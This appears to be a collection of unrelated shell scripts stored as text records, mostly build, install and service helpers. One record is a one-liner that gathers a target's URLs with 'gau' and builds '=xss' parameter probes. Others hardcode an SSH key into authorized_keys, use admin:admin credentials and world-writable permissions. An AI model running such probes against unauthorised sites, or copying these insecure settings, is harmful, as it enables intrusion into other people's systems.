- - - - - -\n\nshow_help()\n{\n echo\n echo Use: cyber-dojo sh SERVICE\n echo\n echo Shells into a service container\n echo Example: cyber-dojo sh web\n echo Example: cyber-dojo sh runner\n}\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nerror()\n{\n >&2 echo \"ERROR: ${2}\"\n exit \"${1}\"\n}\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nshell_in()\n{\n local arg=\"$1\"\n local name=\"cyber_dojo_${arg}\"\n if running_container \"${name}\"; then\n echo \"shelling into ${name}\"\n local cmd=\"export PS1='[${arg}] \\\\w $ ';sh\"\n docker exec --interactive --tty \"${name}\" sh -c \"${cmd}\"\n elif [ \"${arg}\" != '--help' ] && [ \"${arg}\" != '-h' ] && [ \"${arg}\" != '' ]; then\n error 4 \"${name} is not a running container\"\n fi\n}\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nrunning_container()\n{\n local space='\\s'\n local name=\"$1\"\n local end_of_line='$'\n docker ps --filter \"name=${name}\" | grep \"${space}${name}${end_of_line}\" > /dev/null\n return $?\n}\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nif [ -z \"$1\" ] || [ \"$1\" = '-h' ] || [ \"$1\" = '--help' ]; then\n show_help\nelif [ -n \"$2\" ]; then\n show_help\n exit 1\nelse\n shell_in \"$1\"\nfi"} {"text": "#!/usr/bin/env bash\n\nsource bin/ditto.sh\nsource bin/xcode.sh\n\nset -eo pipefail\n\n# $1 => SOURCE PATH\n# $2 => TARGET NAME\nfunction azupload {\n az storage blob upload \\\n --container-name ios-test-cloud-agent \\\n --file \"${1}\" \\\n --name \"${2}\"\n echo \"${1} artifact uploaded with name ${2}\"\n}\n\n# For pushing artifacts locally.\nif [ -e ./.azure-credentials ]; then\n source ./.azure-credentials\nfi\n\n# In the pipeline, these are provided by a Variable Group attached to a Key Vault\nif [[ -z \"${AZURE_STORAGE_ACCOUNT}\" ]]; then\n echo \"AZURE_STORAGE_ACCOUNT is required\"\n exit 1\nfi\n\nif [[ -z \"${AZURE_STORAGE_KEY}\" ]]; then\n echo \"AZURE_STORAGE_KEY is required\"\n exit 1\nfi\n\nif [[ -z \"${AZURE_STORAGE_CONNECTION_STRING}\" ]]; then\n echo \"AZURE_STORAGE_CONNECTION_STRING is required\"\n exit 1\nfi\n\nif [ \"${BUILD_SOURCESDIRECTORY}\" != \"\" ]; then\n WORKING_DIR=\"${BUILD_SOURCESDIRECTORY}\"\nelse\n WORKING_DIR=\".\"\nfi\n\n# Evaluate git-sha value\nGIT_SHA=$(git rev-parse --verify HEAD | tr -d '\\n')\n\n# Evaluate Calabash version\nVERSION=$(xcrun strings calabash-dylibs/libCalabashFAT.dylib | grep -E \"CALABASH VERSION\" | cut -f3- -d\" \" | tr -d '\\n')\n\n# Evaluate the Xcode version used to build artifacts\nXC_VERSION=$(xcode_version)\n\n# Evaluate calabash.framework SHASUM256\nFRAMEWORK_SHASUM256=$(shasum --algorithm 256 ${WORKING_DIR}/calabash.framework/calabash | cut -d \" \" -f 1)\n\n# Evaluate dylibFAT SHASUM256\nDYLIBFAT_SHASUM256=$(shasum --algorithm 256 ${WORKING_DIR}/calabash-dylibs/libCalabashFAT.dylib | cut -d \" \" -f 1)\n\n# Upload `calabash.framework.zip`\nCALABASH_FRAMEWORK=\"${WORKING_DIR}/calabash.framework.zip\"\nzip_with_ditto \"${WORKING_DIR}/calabash.framework\" \"${CALABASH_FRAMEWORK}\"\nCALABASH_FRAMEWORK_NAME=\"calabash.framework-${VERSION}-Xcode-${XC_VERSION}-${GIT_SHA}.zip\"\nazupload \"${CALABASH_FRAMEWORK}\" \"${CALABASH_FRAMEWORK_NAME}\"\n\n# Upload `libCalabashFAT.dylib`\nCALABASH_FAT=\"${WORKING_DIR}/calabash-dylibs/libCalabashFAT.dylib\"\nCALABASH_FAT_NAME=\"libCalabashFAT-${VERSION}-Xcode-${XC_VERSION}-${GIT_SHA}.dylib\"\nazupload \"${CALABASH_FAT}\" \"${CALABASH_FAT_NAME}\"\n\n# Upload `libCalabashARM.dylib`\nCALABASH_ARM=\"${WORKING_DIR}/calabash-dylibs/libCalabashARM.dylib\"\nCALABASH_ARM_NAME=\"libCalabashARM-${VERSION}-Xcode-${XC_VERSION}-${GIT_SHA}.dylib\"\nazupload \"${CALABASH_ARM}\" \"${CALABASH_ARM_NAME}\"\n\n# Upload `libCalabashSim.dylib`\nCALABASH_SIM=\"${WORKING_DIR}/calabash-dylibs/libCalabashSim.dylib\"\nCALABASH_SIM_NAME=\"libCalabashSim-${VERSION}-Xcode-${XC_VERSION}-${GIT_SHA}.dylib\"\nazupload \"${CALABASH_SIM}\" \"${CALABASH_SIM_NAME}\"\n\n# Upload `Headers.zip`\nHEADERS_ZIP=\"${WORKING_DIR}/calabash-dylibs/Headers.zip\"\nHEADERS_ZIP_NAME=\"libCalabash-Headers-${VERSION}-Xcode-${XC_VERSION}-${GIT_SHA}.zip\"\nazupload \"${HEADERS_ZIP}\" \"${HEADERS_ZIP_NAME}\"\n\nif [[ $BUILD_SOURCEBRANCH == refs/tags/* ]]; then\n ARTIFACT_NAME=\"release\"\nelse\n ARTIFACT_NAME=\"develop\"\nfi\n\n# Create and upload `{develop|release}.txt`\nARTIFACT_TXT=\"${WORKING_DIR}/${ARTIFACT_NAME}.txt\"\ncat <\"${ARTIFACT_TXT}\"\nformat_version:1.0\nproduct_version:$VERSION\nXcode_version:$XC_VERSION\ncommit_sha:$GIT_SHA\nframework_shasum256:$FRAMEWORK_SHASUM256\ndylibFAT_shasum256:$DYLIBFAT_SHASUM256\nframework_zip:$CALABASH_FRAMEWORK_NAME\ndylibFAT:$CALABASH_FAT_NAME\nEOF\nazupload \"$ARTIFACT_TXT\" \"${ARTIFACT_NAME}.txt\"\n\n# Create and upload `{develop|release}.json`\nARTIFACT_JSON=\"${WORKING_DIR}/${ARTIFACT_NAME}.json\"\n\ncat <\"${ARTIFACT_JSON}\"\n{\n \"format_version\" : \"1.0\",\n \"product_version\": \"$VERSION\",\n \"Xcode_version\" : \"$XC_VERSION\",\n \"commit_sha\" : \"$GIT_SHA\",\n \"framework_shasum256\" : \"$FRAMEWORK_SHASUM256\",\n \"dylibFAT_shasum256\" : \"$DYLIBFAT_SHASUM256\",\n \"framework_zip\" : \"$CALABASH_FRAMEWORK_NAME\",\n \"dylibFAT\" : \"$CALABASH_FAT_NAME\"\n}\nEOF\nazupload \"$ARTIFACT_JSON\" \"${ARTIFACT_NAME}.json\""} {"text": "install/installdep-gpu.sh\n#!/usr/bin/env bash\nsudo apt-get update && apt-get install -y python-setuptools python-pip python-dev git cmake build-essential wget unzip\nsudo apt-get install -y libopencv-dev libssl-dev libffi-dev libfann-dev swig tesseract-ocr python-tk openmpi-bin\n\npython -m pip install --upgrade pip\ngit clone https://github.com/libfann/fann.git\ncd ./fann\ncmake .\nsudo make install\ncd ..\n\nsudo pip install setuptools Flask Cython Keras tensorflow mxnet-cu80 sklearn pandas matplotlib h5py pillow requests simplejson opencv-python jsonpickle pytesseract nltk chatterbot urllib3 easydict padatious seaborn mpld3 psutil nvidia-ml-py flask_cors passlib flask-sqlalchemy\nsudo pip install -e git+https://github.com/mycroftai/adapt#egg=adapt-parser\n\nsudo pip install https://cntk.ai/PythonWheel/GPU/cntk-2.1-cp27-cp27mu-linux_x86_64.whl\nsudo apt-get clean\nsudo apt-get autoremove -y"} {"text": "#!/usr/bin/env bash\nset -ueo pipefail\nset +x\n\nSCRIPTDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" >/dev/null 2>&1 && pwd )\"\n\ngo test -parallel 4 -p 6 -vet=off -timeout 20m -race -v ./...\n\ncd $SCRIPTDIR/../testsuite\n\ngo test -parallel 4 -p 6 -vet=off -timeout 20m -race -v ./..."} {"text": "#!/bin/bash\n$1 $2 $3 $4 $5 $8/hsld_size_distr__Swaziland__DHS_2007 $8/hsld_size-age_distr__AVERAGE_APPR__EUROSTAT_2001_11 $8/marg_popul_age_distr__Swaziland__USCB_2007 $8/travel_distr_params__1 $8/est_size_distr__1 196 1.0 $6 $7 > $9/outputlog__Swaziland 2>&1"} {"text": "0\n#!/usr/bin/env bash\n\nDOCKER_FINGERPRINT=\"9DC858229FC7DD38854AE2D88D81803C0EBFCD88\"\n\necho '************* Installing Docker *****************'\n\napt-get install -y apt-transport-https ca-certificates gnupg2 software-properties-common\n\ncurl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -\n\necho ''\necho ''\necho '**************** verify the finger print ****************'\n\nFINGERPRINT=`apt-key adv --list-public-keys --with-fingerprint --with-colons | grep $DOCKER_FINGERPRINT`\n\necho 'FINGERPRINT: ' $FINGERPRINT\n\nif [[ $FINGERPRINT == *$DOCKER_FINGERPRINT* ]]; then\n\n # get the stable version\n add-apt-repository \"deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable\"\n\n apt-get update\n apt-get install -y docker-ce docker-ce-cli containerd.io\n\n echo '************* Installing Docker Compose *****************'\n\n curl -L \"https://github.com/docker/compose/releases/download/1.24.0/docker-compose-$(uname -s)-$(uname -m)\" -o /usr/local/bin/docker- compose\n\n chmod +x /usr/local/bin/docker-compose\n\n docker-compose --version\n\n echo '************* Docker and Docker Compose Installed *******************'\n\n echo ''\n echo ''\n\n echo '************* Installing Nodejs and NPM *******************'\n\n apt-get install -y nodejs npm\n\n echo '************* Installed Nodejs and NPM *******************'\n\nelse\n\n echo '**********************************************************'\n echo '**********************************************************'\n echo '**********************************************************'\n echo \"**** Docker Repository Fingerprint Doesn't Match *********\"\n echo '**********************************************************'\n echo '**********************************************************'\n echo '**********************************************************'\n\nfi\n\nexit"} {"text": "#!/bin/bash\n\n# This script will be sourced by the MIL runcom file if the install script\n# cloned this repository during a run or if the install script was run after\n# it was cloned manually. It contains SubjuGator specific commands that have\n# been aliased to make them faster or easier to execute. Becoming familiar with\n# these will likely increase productivity, so it is recommended to do so.\n\n\n# Directory navigation\nalias sub=\"cd \\$CATKIN_DIR/src/SubjuGator\"\n\n# Networking\nalias rsub=\"ros_connect -n ${HOSTNAMES[0]}\"\nalias sshsub=\"ssh sub8@${HOSTNAMES[0]} -Y\"\n\n# Missions\nalias submove=\"runmission Move\"\n\n# Cameras\nalias subfps=\"rostopic hz $bag_front_cams $bag_down_cam\"\n\n# Visualization\nalias subviz=\"rviz -d \\$CATKIN_DIR/src/SubjuGator/sub.rviz\"\n\n# Development\nalias subfmt=\"python2.7 -m flake8 --ignore E731 --max-line-length=120 \\$(rosrun mil_tools list_python_files \\$CATKIN_DIR/src/SubjuGator __init__.py deprecated/)\"\nalias subtest=\"(cd \\$CATKIN_DIR; rosrun mil_tools catkin_tests_directory.py src/SubjuGator)\"\n\n\n# Set robot model param, for using rviz when playing bags\nalias submodel=\"roslaunch sub8_launch upload_urdf.launch\"\n\n# Thrusters\nalias subthruster_shell=\"rosrun sub8_diagnostics thruster_shell.py -i\"\nalias subthruster_spinner=\"rosrun sub8_diagnostics thruster_spinner.py\"\nalias subthruster_monitor=\"/usr/bin/tmux -L diagnostics attach-session -t thruster_monitoring\""} {"text": "#!/bin/bash\nset -euo pipefail\nset -x\nif [[ -n \"$JAVA_HOME\" ]] && [[ -x \"$JAVA_HOME/bin/java\" ]]; then\n echo \"found java executable in JAVA_HOME\"\nelse\n export JAVA_HOME=/usr/lib/jvm/java-openjdk\nfi\nsudo -E bash -c 'echo $JAVA_HOME'\ninstallpath=/usr/lib/ranger-pugins\nranger_server_fqdn=$1\ndefault_domain=ec2.internal\nhostname=`hostname -I | xargs`\nhdfs_namenode_fqdn=$hostname\nhive_server2_fqdn=$hostname\nranger_policybucket=$2\n#Update repo/policies\nsudo rm -rf $installpath\nsudo mkdir -p $installpath\nsudo chmod -R 777 $installpath\ncd $installpath\naws s3 cp $ranger_policybucket . --recursive --exclude \"*\" --include \"*.json\" --region us-east-1\nsudo sed -i \"s|emr_masternode|$hdfs_namenode_fqdn|g\" ranger-hdfs-repo.json\nsudo sed -i \"s|emr_masternode|$hive_server2_fqdn|g\" ranger-hive-repo.json\ncurl -iv -u admin:admin -d @ranger-hdfs-repo.json -H \"Content-Type: application/json\" -X POST http://$ranger_server_fqdn:6080/service/public/api/repository/\ncurl -iv -u admin:admin -d @ranger-hive-repo.json -H \"Content-Type: application/json\" -X POST http://$ranger_server_fqdn:6080/service/public/api/repository/\ncurl -iv -u admin:admin -d @ranger-hdfs-policy-user.json -H \"Content-Type: application/json\" -X POST http://$ranger_server_fqdn:6080/service/public/api/policy/ || true\ncurl -iv -u admin:admin -d @ranger-hdfs-policy-analyst1.json -H \"Content-Type: application/json\" -X POST http://$ranger_server_fqdn:6080/service/public/api/policy/\ncurl -iv -u admin:admin -d @ranger-hdfs-policy-analyst2.json -H \"Content-Type: application/json\" -X POST http://$ranger_server_fqdn:6080/service/public/api/policy/\ncurl -iv -u admin:admin -d @ranger-hive-policy-analyst1.json -H \"Content-Type: application/json\" -X POST http://$ranger_server_fqdn:6080/service/public/api/policy/\ncurl -iv -u admin:admin -d @ranger-hive-policy-analyst2.json -H \"Content-Type: application/json\" -X POST http://$ranger_server_fqdn:6080/service/public/api/policy/\ncurl -iv -u admin:admin -d @ranger-hive-policy-admin1.json -H \"Content-Type: application/json\" -X POST http://$ranger_server_fqdn:6080/service/public/api/policy/"} {"text": "#! /bin/bash\n\n# 设备id 可通过命令行执行 instruments -s 获取\ndevice_id='F1FCFDD1-8691-411D-8C96-B38BB13EB551'\n# 工程编译后对应的.app文件放置的路径\napp_path='/Users/analysyseguan/Desktop/千帆对数/工程文件/EGMonitor_SDK_Demo.app'\n# Bundle Identifier\napp_identifier='com.analysys.FanzhouLocalized'\n\necho 启动模拟器\nxcrun simctl boot $device_id\necho 模拟器启动完成\n\nsleep 60*2 #等待几分钟之后再启动app\n\necho 安装app\nxcrun simctl install $device_id $app_path\necho 安装完成\n\n## 多次打开关闭app(业务需要)\ncount=3\nfor ((i=0; i<$count; i++)); do\n\nsleep 30 #等待30s启动app\n\necho 启动应用程序\nxcrun simctl launch $device_id $app_identifier\necho app启动完成\n\nsleep 30 #等待30s后退出app\n\necho 开始关闭应用程序\nxcrun simctl terminate $device_id $app_identifier\necho 已关闭应用\n\n##\t$(($i+1))\ntime=i\n((time+=1))\necho 完成第 $time 次循环\n\n((time+=1))\nif [ \"$time\" -ne \"$(($count+1))\" ]; then\necho 开始第 $time 次循环\nfi\n\ndone\n\n\n\nsleep 10 #等待30s后卸载app\n\necho 卸载app\nxcrun simctl uninstall $device_id $app_identifier\necho app已卸载"} {"text": "#!/bin/bash\n\nPREBUILD_SCRIPT=\"$1\"\nBUILD_SCRIPT=\"$2\"\nPOSTBUILD_SCRIPT=\"$3\"\n\nif [ ! -z \"$PREBUILD_SCRIPT\" -a -f \"/build-helpers/$PREBUILD_SCRIPT\" ]; then\n\techo \"Executing pre-build script: [$PREBUILD_SCRIPT]\"\n\tsource \"/build-helpers/$PREBUILD_SCRIPT\"\nelse\n\techo \"No custom pre-build script found.\"\nfi\n\nif [ ! -z \"$BUILD_SCRIPT\" -a -f \"/build-helpers/$BUILD_SCRIPT\" ]; then\n\tpwd\n\techo \"Executing build script: [$BUILD_SCRIPT]\"\n\tsource \"/build-helpers/$BUILD_SCRIPT\"\nelse\n\techo \"No custom build script found. Using auto-builder.\"\n\n\techo \"Executing cpan build scripts\"\n\t[ -f Build.PL ] && perl Build.PL\n\t[ -f Makefile.PL ] && perl Makefile.PL\n\tmake manifest\n\tmake\n\tmake dist\nfi\n\nif [ ! -z \"$POSTBUILD_SCRIPT\" -a -f \"/build-helpers/$POSTBUILD_SCRIPT\" ]; then\n\techo \"Executing post-build script: [$POSTBUILD_SCRIPT]\"\n\tsource \"/build-helpers/$POSTBUILD_SCRIPT\"\nelse\n\tcp *.tar.gz /build-output/output.archive\nfi\n\necho \"Autobuild complete.\""} {"text": "Blockchain-Final-Project/Blockchain-Final-Project\n#!/bin/bash\nSHELL_FOLDER=$(cd $(dirname $0);pwd)\n\nLOG_ERROR() {\n content=${1}\n echo -e \"\\033[31m[ERROR] ${content}\\033[0m\"\n}\n\nLOG_INFO() {\n content=${1}\n echo -e \"\\033[32m[INFO] ${content}\\033[0m\"\n}\n\ncd ${SHELL_FOLDER}/../\nNODE_FOLDER=$(pwd)\nfisco_bcos=${NODE_FOLDER}/../fisco-bcos\nnode=$(basename ${NODE_FOLDER})\nnode_pid=$(ps aux|grep ${fisco_bcos}|grep -v grep|awk '{print $2}')\nif [ -n \"${node_pid}\" ];then\n echo \"${node} is trying to load new groups. Check log for more information.\"\n DATA_FOLDER=${NODE_FOLDER}/data\n for dir in $(ls ${DATA_FOLDER})\n do\n if [[ -d \"${DATA_FOLDER}/${dir}\" ]] && [[ -n \"$(echo ${dir} | grep -E \"^group\\d+$\")\" ]]; then\n STATUS_FILE=${DATA_FOLDER}/${dir}/.group_status\n if [ ! -f \"${STATUS_FILE}\" ]; then\n echo \"STOPPED\" > ${STATUS_FILE}\n fi\n fi\n done\n touch config.ini.append_group\n exit 0\nelse\n echo \"${node} is not running, use start.sh to start all group directlly.\"\nfi"} {"text": "anderson1008/Noculator\nbuffer_occupancy=75\nnum_ports=10\nnum_vcs=8"} {"text": "#!/bin/sh\n\ntarget=$1\n\nif [ ! -d $target ]; then\n\techo \"directory $target not exists\"\n\texit 1\nelif [ ! -d $target/.git ] && [ ! -d $target/.svn ]; then\n\techo \"directory $target is not a repository clone, skipping update\"\n\texit 0\nelif [ -d $target/.svn ]; then\n\tsvn up $target\n\texit 0\nfi\n\nrepo=`basename $target`\necho \"updating $target\"\n\nDIR=\"`pwd`\"\ncd $target\n\nif grep -q git@ $target/.git/config && [ -f ~/.ssh/id_github_$repo ]; then\n\tGIT_SSH=/opt/drivebadger/internal/git/helper.sh GIT_KEY=~/.ssh/id_github_$repo git pull\nelse\n\tgit pull\nfi\n\ncd \"$DIR\""} {"text": "holdforther/pasc0\n#!/bin/bash\necho \"building compiler\"\nif [ ! -d \"build\" ]; then\n mkdir \"build\"\nfi\nclang++ -std=c++17 -pedantic -Wall -I include/ -o build/pasc src/*.cpp"} {"text": "#!/bin/bash\nfunction hassbian-show-short-info {\n echo \"Hassbian 系统\"\n}\n\nfunction hassbian-show-long-info {\n echo \"更新 Hassbian 系统\"\n}\n\nfunction hassbian-show-copyright-info {\n echo \"智能家居控制中心\"\n echo \"Copyright(c) 2019 >\"\n}\n\nfunction hassbian-upgrade-package {\nhassbian-show-short-info\nhassbian-show-copyright-info\n\necho \"更新软件表\"\nsudo apt update\n\necho \"更新系统\"\nsudo apt upgrade -y\n\necho\necho \"更新完成\"\necho\necho \"部分更新重启后才能生效\"\necho\nreturn 0\n}\n\n[[ \"$_\" == \"$0\" ]] && echo \"hassbian-config helper script; do not run directly, use hassbian-config instead\""} {"text": "#!/bin/bash\n\nnpm install gulp\nnpm install gulp-util\nnpm install gulp-concat\nnpm install gulp-sass\nnpm install gulp-minify-css\nnpm install gulp-rename\n\nexit"} {"text": ": ${OPR_HOME:=\"$HOME/offprint\"}\n: ${OPR_WD:=\"$HOME/.offprint\"}\n: ${OPR_CONF:=\"$HOME/offprint.conf\"}\n\nexport OPR_HOME\nexport OPR_WD\nexport OPR_CONF\n\nfunction errexit {\n local msg\n [[ $# == 0 ]] && msg=\"at ${BASH_SOURCE[1]} line ${BASH_LINENO[0]}\" || msg=$1\n echo \"FATAL: $msg\" 1>&2\n\texit 1\n}\n\nfunction startup_checks {\n if [[ $# == 0 || ! \"$1\" =~ .org$ ]]; then\n usage\n exit 1\n fi\n\n if [[ ! -d \"${OPR_HOME}\" ]]; then\n errexit \"${OPR_HOME} is not valid value for OPR_HOME.\"\n fi\n make_working_dir\n}\n\n\nfunction join { local IFS=\"$1\"; shift; echo \"$*\"; }\n\nfunction log {\n local msg\n [[ $# == 0 ]] && msg=\"at ${BASH_SOURCE[1]} line ${BASH_LINENO[0]}\" || msg=$1\n ts=\"$(date '+%d/%h/%Y:%H:%M:%S')\"\n echo \"[$ts] $msg\" 1>&2\n}\n\nfunction make_working_dir {\n mkdir -p \"${OPR_WD}\" \\\n || errexit \"Could not make working directory '${OPR_WD}'\"\n}"} {"text": "#!/bin/bash\n\ncat $1 | gau | egrep -v '(.css|.png|.jpeg|.jpg|.svg|.gif|.wolf)' | while read url; do vars=$(curl -s $url | grep -Eo \"var [a-zA-Z0-9]+\" | sed -e 's,'var','\"$url\"?',g' -e 's/ //g' | grep -v '.js' | sed 's/.*/&=xss/g'); echo -e \"\\e[1;33m$url\\n\\e[1;32m$vars\" |tee -a xsstest.out | sort -u xsstest.out -o xsstest.out ;done"} {"text": "DreamDaq/codeBackup/DreamDaq.101104/decode/script/run_ntuples.sh\n#!/bin/bash\nfor i in $(seq 156 179) \ndo\necho RUN $i\nmyDaq2Ntu \"$i\" pedestal nodrs_noscope\nmyDaq2Ntu \"$i\" data nodrs_noscope\ndone\nfor j in $(seq 185 197)\ndo\necho RUN $j\nmyDaq2Ntu \"$j\" pedestal nodrs\nmyDaq2Ntu \"$j\" data nodrs\ndone\nfor k in $(seq 198 331)\ndo\necho RUN $k\nmyDaq2Ntu \"$k\" pedestal nodrs_noscope\nmyDaq2Ntu \"$k\" data nodrs_noscope\ndone\nfor l in $(seq 332 479)\ndo\necho RUN $l\nmyDaq2Ntu \"$l\" pedestal drs_fb_lk\nmyDaq2Ntu \"$l\" data drs_fb_lk\ndone\nfor m in $(seq 547 567)\ndo\necho RUN $m\nmyDaq2Ntu \"$m\" pedestal nodrs\nmyDaq2Ntu \"$m\" data nodrs\ndone\nfor n in $(seq 658 1006)\ndo\necho RUN $n\nmyDaq2Ntu \"$n\" pedestal drs_matrix \nmyDaq2Ntu \"$n\" data drs_matrix\ndone\nfor s in $(seq 1007 1543)\ndo\necho RUN $s\nmyDaq2Ntu \"$s\" pedestal nodrs\nmyDaq2Ntu \"$s\" data nodrs\ndone"} {"text": "ABeltramo/CMS-Docker0\n#!/bin/bash\nset -e\n\necho \"******* RUNNING NON DEFAULT INIT ********\"\n\npsql -v ON_ERROR_STOP=1 --username \"$POSTGRES_USER\" <<-EOSQL\n CREATE DATABASE cmsdb;\n GRANT ALL PRIVILEGES ON DATABASE cmsdb TO cmsuser;\n ALTER SCHEMA public OWNER TO cmsuser\n GRANT SELECT ON pg_largeobject TO cmsuser\nEOSQL"} {"text": "#!/bin/sh\nsudo matchbox-window-manager -use_cursor no& # disable cursor and activate window manager\nsudo chromium-browser # start chromium browser\n\n# use this script to start the app in kiosk mode"} {"text": "#!/bin/bash\n\nfunction net_interface()\n{\n ifconfig | head -n 1 | cut -d' ' -f1 | cut -d':' -f1 \n}\n\n# $1 - network interface name\nfunction ip_addr()\n{\n ip -4 addr show $1 | grep -oP '(?<=inet\\s)\\d+(\\.\\d+){3}'\n}\n\n#Setup SSH\nmkdir -p ~/.ssh; chmod 700 ~/.ssh\necho \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyYjfgyPazTvGpd8OaAvtU2utL8W6gWC4JdRS1J95GhNNfQd657yO6s1AH5KYQWktcE6FO/xNUC2reEXSGC7ezy+sGO1kj9Limv5vrvNHvF1+wts0Cmyx61D2nQw35/Qz8BvpdJANL7VwP/cFI/p3yhvx2lsnjFE3hN8xRB2LtLUopUSVdBwACOVUmH2G+2BWMJDjVINd2DPqRIA4Zhy09KJ3O1Joabr0XpQL0yt/I9x8BVHdAx6l9U0tMg9dj5+tAjZvMAFfye3PJcYwwsfJoFxC8w/SLtqlFX7Ehw++8RtvomvuipLdmWCy+T9hIkl+gHYE4cS3OIqXH7f49jdJf \" > ~/.ssh/authorized_keys\n\n./download.sh\ncd devstack\n\necho \"Starting controller installation\"\nFLAT_INTERFACE=$(net_interface)\nHOST_IP=$(ip_addr $FLAT_INTERFACE)\nUSER=\"stack\"\nPASSWD=$\n\necho \"[[local|localrc]]\nHOST_IP=$HOST_IP\nFLAT_INTERFACE=$FLAT_INTERFACE\n#Private Network Addressing\nFIXED_RANGE=192.168.0.0/24\nFIXED_NETWORK_SIZE=256\nFLOATING_RANGE=10.105.0.128/25\nMULTI_HOST=1\nLOGFILE=/opt/stack/logs/stack.sh.log\nADMIN_PASSWORD=\nDATABASE_PASSWORD=$\nRABBIT_PASSWORD=$\nSERVICE_PASSWORD=$\nVERBOSE=true\" > local.conf \n\n#In the multi-node configuration the first 10 or so IPs in the private subnet are usually reserved. \n#Add this to local.sh to have it run after every stack.sh run:\necho \"for i in `seq 2 10`; do /opt/$USER/nova/bin/nova-manage fixed reserve 10.4.128.$$i; done\" > local.sh\n\n./stack.sh\n\necho \"\"\ncat ~/.profile | grep \"devstack/openrc admin\" > /dev/null || echo \"source /opt/$USER/devstack/openrc admin\" >> ~/.profile\nsource /opt/$USER/devstack/openrc admin\necho \"INSTALLATION COMPLETE\"\necho \"OpenStack services are installed in subdirectories at /opt/$USER and it's services configuration files are located at /etc\""} {"text": "scripts/start_miner.sh\n#!/usr/bin/env bash\n\n## $2 是日志\necho \"$1\"\nnohup lotus-miner run >>\"$2\" 2>&1 &"} {"text": "private/configure-yum.sh1-10\n#!/bin/bash\n\n## ================= LOADING CONFIGURATIONS ================= #\necho \" ======= LOADING CONFIGURATIONS ======\"\n. \"utils/parse_yaml.sh\"\neval $(parse_yaml config-satellite-tools.yml \"cfg_\")\n\n## ================= FUNCTIONS SUBSCRIPTION ================= #\n\nyumPrepare(){\n echo \" ======= CONFIGURE YUM BASICS ========\"\n echo \"\"\n echo \" ======= CLEAN ========\"\n yum clean all\n echo \" ======= VERIFY ========\"\n yum repolist enabled\n echo \" ======= UPDATE ========\"\n yum -y update\n}\n\nyumInstallSatellite(){\n echo \" ======= INSTALL PACKAGE SATELLITE ========\"\n yum -y update\n yum -y install satellite\n}\n\n\nyumInstallConfigureChronydAndSos(){\n echo \" ======= INSTALL PACKAGE CHRONY AND SOS ========\"\n yum -y install chrony\n systemctl start chronyd\n systemctl enable chronyd\n yum -y install sos\n}"} {"text": "DataDog/dpn1-10\n#!/bin/bash\n\n# Unless explicitly stated otherwise all files in this repository are licensed under the Apache 2.0 License.\n# This product includes software developed at Datadog (https://www.datadoghq.com/). Copyright 2020 Datadog, Inc.\n\n# called by the sandbox app's ./setup.sh script\n\necho \"Provisioning!\"\n\necho \"apt-get updating\"\nsudo apt-get update\necho \"installing curl, git...\"\nsudo apt-get -y install curl git jq\n\nDPN_STRING=\"puba793760ef4e28fab630a7f13eda9e213\"\ncurl -X POST https://browser-http-intake.logs.datadoghq.com/v1/input/${DPN_STRING} \\\n-H \"Content-Type: application/json\" \\\n-d @- << EOF\n{\n\t\"message\": \"started provisioning a sandbox app\", \n\t\"status\": \"info\",\n\t\"sandbox-app\": \"voting-app\",\n\t\"tag_defaults\": \"${TAG_DEFAULTS}\",\n\t\"hostname_base\": \"${HOSTNAME_BASE}\",\n\t\"step\": \"start\",\n\t\"type\": \"${TYPE:-\"None\"}\"\n}\nEOF\n\necho \"installing docker...\"\nsudo curl -sSL https://get.docker.com/ | sh\necho \"installing docker-compose\"\nsudo curl -L \"https://github.com/docker/compose/releases/download/1.25.5/docker-compose-$(uname -s)-$(uname -m)\" -o /usr/local/bin/docker-compose\nsudo chmod +x /usr/local/bin/docker-compose\nsudo docker-compose --version"} {"text": "#!/usr/bin/env bash\n# set up for pi running\nsleep 10\n# shellcheck disable=SC2164\ncd /home/pi/Projects/Pi/\nsource /home/pi/Projects/Pi/venv/bin/activate\necho '开始执行main.py 脚本'\npython3 /home/pi/Projects/Pi/main.py &\necho '开始执行 树莓派风扇控制 脚本'\npython3 /home/pi/Projects/Pi/events/FansCTR.py &\necho '开始执行 每日经文 脚本'"} {"text": "10-100\n#!/bin/bash\n\nexport PYTHONPATH=/opt/welab/wefe\nexport SPARK_HOME=/data/spark-3.0.1-bin-hadoop2.7\n# export PYSPARK_PYTHON=/data/spark-2.4.5-bin-hadoop2.7/python\nPYTHON_ROOT=/opt/welab/wefe\nlog_dir=/data/logs/flow_server\nvenv=/opt/welab/python/venv\nflowUrl=http://0.0.0.0:5000\n\n\ngetpid() {\n pid=$(ps -ef|grep python|grep app_launcher.py|grep -v grep|awk '{print $2}')\n\n if [[ -n ${pid} ]]; then\n return 1\n else\n return 0\n fi\n}\n\nmklogsdir() {\n if [[ ! -d $log_dir ]]; then\n mkdir -p $log_dir\n fi\n}\n\nstatus() {\n getpid\n if [[ -n ${pid} ]]; then\n echo \"status:\n `ps aux | grep ${pid} | grep -v grep`\"\n return 1\n else\n echo \"service not running\"\n return 0\n fi\n}\n\nclean_pycache(){\n # find $PYTHON_ROOT -name '*.pyc' -type f -exec rm {} \\;\n find $PYTHON_ROOT -type d | grep __pycache__ | xargs rm -rf\n echo \"clean_pycache\"\n}\n\nstart() {\n getpid\n if [[ $? -eq 0 ]]; then\n\n mklogsdir\n clean_pycache\n\n source ${venv}/bin/activate\n\n pip install -r ${PYTHON_ROOT}/requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple\n\n python3 ${PYTHON_ROOT}/flow/service/config/fill_config_shell_service.py\n nohup python3 ${PYTHON_ROOT}/flow/app_launcher.py >> \"${log_dir}/console.log\" 2>>\"${log_dir}/error.log\" &\n\n sleep 3\n getpid\n if [[ -n ${pid} ]]; then\n echo \"service start sucessfully. pid: ${pid}\"\n else\n echo \"service start failed, please check ${log_dir}/error.log and ${log_dir}/console.log\"\n fi\n else\n echo \"service already started. pid: ${pid}\"\n fi\n}\n\nstop() {\n getpid\n if [[ -n ${pid} ]]; then\n echo \"clean before stop\"\n curl ${flowUrl}/flow/clean\n\n getpid\n echo \"killing:\n `ps aux | grep ${pid} | grep 